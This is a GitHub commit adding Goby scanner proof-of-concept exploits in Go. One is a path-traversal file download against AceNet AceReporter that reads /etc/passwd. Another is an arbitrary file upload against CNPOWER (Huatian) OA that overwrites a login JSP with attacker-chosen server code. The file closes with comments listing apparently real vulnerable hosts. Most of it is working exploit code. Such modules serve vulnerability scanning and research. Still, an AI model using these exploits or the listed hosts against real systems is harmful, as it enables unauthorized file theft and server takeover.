Skip to content

Commit 95edef3

Browse files
authored
Merge pull request #114 from jusk9527/main
add goby poc
2 parents a1011fe + 10b51e2 commit 95edef3

12 files changed

+1909
-0
lines changed
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
package exploits
2+
3+
import (
4+
"git.gobies.org/goby/goscanner/goutils"
5+
)
6+
7+
func init() {
8+
expJson := `{
9+
"Name": "AceNet AceReporter Report component Arbitrary file download",
10+
"Description": "All firewall devices that use the AceNet AceReporter report component can download arbitrary files",
11+
"Product": "AceNet AceReporter Report component",
12+
"Homepage": "",
13+
"DisclosureDate": "2021-08-04",
14+
"Author": "[email protected]",
15+
"GobyQuery": "title=\"Login @ Reporter\" || title=\"Technology, Inc.\"",
16+
"Level": "2",
17+
"Impact": "<p><span style=\"font-size: 14px;\">The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (..</span><span style=\"font-size: 14px;\">\\ or..</span><span style=\"font-size: 14px;\">/) to download or read a file beyond the original specified path.</span><span style=\"font-size: 14px;\">The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.</span><br></p>",
18+
"Recommandation": "<p><span style=\"font-size: 14px;\">Limit ..</span><span style=\"font-size: 14px;\">/ symbol is used to determine the input path when the file is downloaded. The best method is that the file should be one to one in the database, and avoid entering the absolute path to obtain the file</span><br></p>",
19+
"References": [
20+
"https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972"
21+
],
22+
"HasExp": true,
23+
"ExpParams": [
24+
{
25+
"name": "path",
26+
"type": "createSelect",
27+
"value": "../../../../../../../../../etc/passwd,../../../../../../../../../etc/hosts",
28+
"show": ""
29+
}
30+
],
31+
"ExpTips": {
32+
"Type": "",
33+
"Content": ""
34+
},
35+
"ScanSteps": [
36+
"AND",
37+
{
38+
"Request": {
39+
"method": "GET",
40+
"uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/passwd&savename=data.txt",
41+
"follow_redirect": true,
42+
"header": {},
43+
"data_type": "text",
44+
"data": ""
45+
},
46+
"ResponseTest": {
47+
"type": "group",
48+
"operation": "AND",
49+
"checks": [
50+
{
51+
"type": "item",
52+
"variable": "$body",
53+
"operation": "contains",
54+
"value": "root",
55+
"bz": ""
56+
},
57+
{
58+
"type": "item",
59+
"variable": "$body",
60+
"operation": "contains",
61+
"value": "daemon",
62+
"bz": ""
63+
}
64+
]
65+
},
66+
"SetVariable": []
67+
},
68+
{
69+
"Request": {
70+
"method": "GET",
71+
"uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/hosts&savename=data.txt",
72+
"follow_redirect": true,
73+
"header": {},
74+
"data_type": "text",
75+
"data": ""
76+
},
77+
"ResponseTest": {
78+
"type": "group",
79+
"operation": "AND",
80+
"checks": [
81+
{
82+
"type": "item",
83+
"variable": "$code",
84+
"operation": "==",
85+
"value": "200",
86+
"bz": ""
87+
},
88+
{
89+
"type": "item",
90+
"variable": "$body",
91+
"operation": "contains",
92+
"value": "127.0.0.1",
93+
"bz": ""
94+
}
95+
]
96+
},
97+
"SetVariable": []
98+
}
99+
],
100+
"ExploitSteps": [
101+
"AND",
102+
{
103+
"Request": {
104+
"method": "GET",
105+
"uri": "/view/action/download_file.php?filename={{{path}}}&savename=data.txt",
106+
"follow_redirect": true,
107+
"header": {},
108+
"data_type": "text",
109+
"data": ""
110+
},
111+
"SetVariable": [
112+
"output|lastbody"
113+
]
114+
}
115+
],
116+
"Tags": [
117+
"file download"
118+
],
119+
"CVEIDs": null,
120+
"CVSSScore": "0.0",
121+
"AttackSurfaces": {
122+
"Application": null,
123+
"Support": null,
124+
"Service": null,
125+
"System": null,
126+
"Hardware": null
127+
}
128+
}`
129+
130+
ExpManager.AddExploit(NewExploit(
131+
goutils.GetFileName(),
132+
expJson,
133+
nil,
134+
nil,
135+
))
136+
}
Lines changed: 251 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,251 @@
1+
package exploits
2+
3+
import (
4+
"git.gobies.org/goby/goscanner/goutils"
5+
"git.gobies.org/goby/goscanner/jsonvul"
6+
"git.gobies.org/goby/goscanner/scanconfig"
7+
"git.gobies.org/goby/httpclient"
8+
"regexp"
9+
"strings"
10+
)
11+
12+
func init() {
13+
expJson := `{
14+
"Name": "CNPOWER OA Arbitrary File Upload Vulnerability",
15+
"Description": "<p>Huatian power collaborative office system combines advanced management ideas, management modes, software technology and network technology to provide users with a low-cost and efficient collaborative office and management platform.&nbsp;Wise managers have achieved good results in strengthening standardized workflow, strengthening team execution, promoting fine management and promoting business growth through the use of Huatian power collaborative office platform.<br></p><p>There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.<br></p>",
16+
"Product": "CNPOWER-OA",
17+
"Homepage": "http://www.oa8000.com/",
18+
"DisclosureDate": "2022-07-22",
19+
"Author": "toto",
20+
"FofaQuery": "body=\"/OAapp/WebObjects/OAapp.woa\" || body=\"/OAapp/htpages/app\"",
21+
"GobyQuery": "body=\"/OAapp/WebObjects/OAapp.woa\" || body=\"/OAapp/htpages/app\"",
22+
"Level": "2",
23+
"Impact": "<p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.</span><br></p>",
24+
"Recommendation": "<p>The manufacturer has not provided a vulnerability repair plan. Please pay attention to the update of the manufacturer's homepage:</p><p><a href=\"http://www.oa8000.com/\">http://www.oa8000.com/</a></p>",
25+
"References": [
26+
"http://www.oa8000.com"
27+
],
28+
"Is0day": false,
29+
"HasExp": true,
30+
"ExpParams": [
31+
{
32+
"name": "fileContent",
33+
"type": "input",
34+
"value": "<%out.println(\"123\");%>",
35+
"show": ""
36+
}
37+
],
38+
"ExpTips": {
39+
"Type": "",
40+
"Content": ""
41+
},
42+
"ScanSteps": [
43+
"OR",
44+
{
45+
"Request": {
46+
"method": "GET",
47+
"uri": "/test.php",
48+
"follow_redirect": true,
49+
"header": {},
50+
"data_type": "text",
51+
"data": ""
52+
},
53+
"ResponseTest": {
54+
"type": "group",
55+
"operation": "AND",
56+
"checks": [
57+
{
58+
"type": "item",
59+
"variable": "$code",
60+
"operation": "==",
61+
"value": "200",
62+
"bz": ""
63+
},
64+
{
65+
"type": "item",
66+
"variable": "$body",
67+
"operation": "contains",
68+
"value": "test",
69+
"bz": ""
70+
}
71+
]
72+
},
73+
"SetVariable": []
74+
}
75+
],
76+
"ExploitSteps": [
77+
"AND",
78+
{
79+
"Request": {
80+
"method": "GET",
81+
"uri": "/test.php",
82+
"follow_redirect": true,
83+
"header": {},
84+
"data_type": "text",
85+
"data": ""
86+
},
87+
"ResponseTest": {
88+
"type": "group",
89+
"operation": "AND",
90+
"checks": [
91+
{
92+
"type": "item",
93+
"variable": "$code",
94+
"operation": "==",
95+
"value": "200",
96+
"bz": ""
97+
},
98+
{
99+
"type": "item",
100+
"variable": "$body",
101+
"operation": "contains",
102+
"value": "test",
103+
"bz": ""
104+
}
105+
]
106+
},
107+
"SetVariable": []
108+
}
109+
],
110+
"Tags": [
111+
"File Upload"
112+
],
113+
"VulType": [
114+
"File Upload"
115+
],
116+
"CVEIDs": [
117+
""
118+
],
119+
"CNNVD": [
120+
""
121+
],
122+
"CNVD": [
123+
""
124+
],
125+
"CVSSScore": "9.8",
126+
"Translation": {
127+
"CN": {
128+
"Name": "华天动力 OA 任意文件上传漏洞",
129+
"Product": "华天动力-OA",
130+
"Description": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合,为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台,在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。<br></span></p><p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">华天动力 OA&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">存在任意文件上传漏洞,攻击者可以上传任意文件,获取 webshell,控制服务器权限,读取敏感信息等。</span><br></p>",
131+
"Recommendation": "<p>目前官方尚未发布安全补丁,请关注厂商更新。<a href=\"http://www.oa8000.com/\">http://www.oa8000.com/</a></p>",
132+
"Impact": "<p>华天动力 OA 存在任意文件上传漏洞,攻击者可以上传任意文件,获取 webshell,控制服务器权限,读取敏感信息等。</p>",
133+
"VulType": [
134+
"⽂件上传"
135+
],
136+
"Tags": [
137+
"⽂件上传"
138+
]
139+
},
140+
"EN": {
141+
"Name": "CNPOWER OA Arbitrary File Upload Vulnerability",
142+
"Product": "CNPOWER-OA",
143+
"Description": "<p>Huatian power collaborative office system combines advanced management ideas, management modes, software technology and network technology to provide users with a low-cost and efficient collaborative office and management platform.&nbsp;Wise managers have achieved good results in strengthening standardized workflow, strengthening team execution, promoting fine management and promoting business growth through the use of Huatian power collaborative office platform.<br></p><p>There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.<br></p>",
144+
"Recommendation": "<p>The manufacturer has not provided a vulnerability repair plan. Please pay attention to the update of the manufacturer's homepage:</p><p><a href=\"http://www.oa8000.com/\">http://www.oa8000.com/</a></p>",
145+
"Impact": "<p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.</span><br></p>",
146+
"VulType": [
147+
"File Upload"
148+
],
149+
"Tags": [
150+
"File Upload"
151+
]
152+
}
153+
},
154+
"AttackSurfaces": {
155+
"Application": null,
156+
"Support": null,
157+
"Service": null,
158+
"System": null,
159+
"Hardware": null
160+
}
161+
}`
162+
163+
getOAFilePath98234u293 := func(host *httpclient.FixUrl) string {
164+
requestConfig := httpclient.NewPostRequestConfig("/OAapp/jsp/upload.jsp")
165+
requestConfig.VerifyTls = false
166+
requestConfig.FollowRedirect = false
167+
requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO")
168+
requestConfig.Data = "------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name=\"file\"; filename=\"xxx.xml\"\r\nContent-Type: image/png\r\n\r\nreal path\r\n------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nxxx.png\r\n------WebKitFormBoundary5Ur8laykKAWws2QO--\r\n"
169+
170+
if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
171+
if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, ".dat") {
172+
if path := regexp.MustCompile(`(.*?)Tomcat/webapps/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
173+
// 直接返回文件最后一个 jsessionid
174+
return path[1]
175+
} else if path := regexp.MustCompile(`(.*?)htoadata/appdata/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
176+
return path[1]
177+
}
178+
}
179+
}
180+
181+
return ""
182+
}
183+
184+
exploitUploadFile837276342783 := func(path string, fileContent string, host *httpclient.FixUrl) bool {
185+
186+
requestConfig := httpclient.NewPostRequestConfig("/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp")
187+
requestConfig.VerifyTls = false
188+
requestConfig.FollowRedirect = false
189+
requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm")
190+
requestConfig.Data = "------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name=\"EDITFILE\"; filename=\"xxx.txt\"\r\nContent-Type: image/png\r\n\r\n" + fileContent + "\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name=\"newFileName\"\r\n\r\n" + path + "Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm--\r\n"
191+
192+
if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
193+
return resp.StatusCode == 200
194+
}
195+
196+
return false
197+
}
198+
199+
checkUploadedFile2398764278 := func(fileContent string, host *httpclient.FixUrl) bool {
200+
requestConfig := httpclient.NewGetRequestConfig("/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp")
201+
requestConfig.VerifyTls = false
202+
requestConfig.FollowRedirect = false
203+
204+
if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
205+
return resp.StatusCode == 200 && strings.Contains(resp.RawBody, fileContent)
206+
}
207+
208+
return false
209+
}
210+
211+
ExpManager.AddExploit(NewExploit(
212+
goutils.GetFileName(),
213+
expJson,
214+
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
215+
216+
path := getOAFilePath98234u293(u)
217+
if path == "" {
218+
path = "D:/htoa/"
219+
}
220+
221+
rand := goutils.RandomHexString(6)
222+
223+
if exploitUploadFile837276342783(path, "<%out.print(\""+rand+"\");%>", u) {
224+
return checkUploadedFile2398764278(rand, u)
225+
226+
}
227+
228+
return false
229+
},
230+
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
231+
232+
fileContent := ss.Params["fileContent"].(string)
233+
234+
path := getOAFilePath98234u293(expResult.HostInfo)
235+
if path == "" {
236+
path = "D:/htoa/"
237+
}
238+
239+
if exploitUploadFile837276342783(path, fileContent, expResult.HostInfo) {
240+
expResult.Success = true
241+
expResult.Output = "文件已上传,请访问:/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp"
242+
}
243+
244+
return expResult
245+
},
246+
))
247+
}
248+
249+
// http://36.133.113.253:8081
250+
// http://221.229.120.251:800/
251+
// http://winnertoke.com:6001/

0 commit comments

Comments
 (0)